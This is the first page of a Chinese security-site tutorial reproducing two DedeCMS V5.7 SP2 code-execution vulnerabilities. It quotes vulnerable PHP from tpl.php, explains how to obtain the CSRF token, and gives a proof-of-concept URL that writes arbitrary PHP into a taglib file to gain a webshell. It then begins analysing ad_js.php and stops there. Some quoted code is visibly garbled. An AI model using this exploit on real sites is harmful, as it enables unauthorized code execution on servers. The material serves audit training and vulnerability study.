欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

代码审计入门级DedecmsV5.7 SP2分析复现

来源:本站整理 作者:佚名 时间:2018-08-26 TAG: 我要投稿

索引
Dedecms的洞有很多,而最新版的v5.7 sp2更新也止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后懵懵懂懂,一次偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正。
 
环境
php5.45 + mysql审计对象:DedeCMS V5.7 SP2工具:seay源码审计
 
后台代码执行
漏洞描述
DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell
代码审计
漏洞位置:dede/tpl.php
看一下核心代码:
# /dede/tpl.php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
$action = isset($action) ? trim($action) : '';
......
if(empty($filename))    $filename = '';
$filename = preg_replace("#[/\\]#", '', $filename);
......
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#.lib.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
    ......
}
因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content
action=savetag时,进行csrf()检测
function csrf_check()
{
    global $token;
    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo 'DedeCMS:CSRF Token Check Failed!';
        exit;
    }
}
验证token和已知的session是否相等,那么token的值从何获取呢?
回溯tpl.php,追踪一下token:
else if ($action == 'upload')
{
        ....
        'acdir' type='hidden' value='$acdir'  />
        'token' type='hidden' value='{$_SESSION['token']}'  />
        'upfile' type='file' id='upfile' style='width:380px' />
}
当action=upload时,隐藏表单的value提交token值

token搞定了,再让我们继续往下审~
$truefile = DEDEINC.'/taglib/'.$filename;
传入的filename必须为 xxxx.lib.php,并且保存的也是php文件
    fwrite($fp, $content);
    fclose($fp);
写入内容为$content…那岂不是为所欲为..poc:
http://localhost/dedecms/uploads/dede/tpl.php?action=savetagfile&filename=hpdoger.lib.php&content= phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa
在include/taglib下会产生相应xxx.lib.php
 
后台代码执行Getshell
代码审计
问题代码位于:/uploads/plus/ad_js.php
 */
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime 'starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '"',$adbody);
    $adbody = str_replace("r", "\r",$adbody);
    $adbody = str_replace("n", "\n",$adbody);

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载